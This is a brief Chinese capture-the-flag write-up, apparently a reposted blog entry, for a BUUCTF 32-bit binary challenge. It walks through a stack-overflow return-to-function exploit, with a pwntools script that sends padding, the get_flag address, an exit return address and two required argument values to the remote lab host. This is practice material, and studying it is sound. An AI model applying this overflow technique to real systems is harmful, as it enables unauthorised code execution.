作者:不会游泳的小饼儿 | 来源:互联网 | 2023-05-17 14:17
先看ida发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag可以利用main中的栈溢出进行传参32位程序payloadoffset+函数地址+返回地址+参数
先看ida
发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag
可以利用main中的栈溢出进行传参
32位程序payload = offset + 函数地址 + 返回地址 + 参数
返回地址我们利用程序中的exit:
exp:
from pwn import *
p = remote('node3.buuoj.cn',29726)
context.log_level = 'debug'
sleep(0.1)
get_flag = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'*56
payload += p32(get_flag) + p32(exit_addr) # 函数地址 返回地址
payload += p32(0x308CD64F) + p32(0x195719D1) # 参数
p.sendline(payload)
sleep(0.1)
p.recv()
参考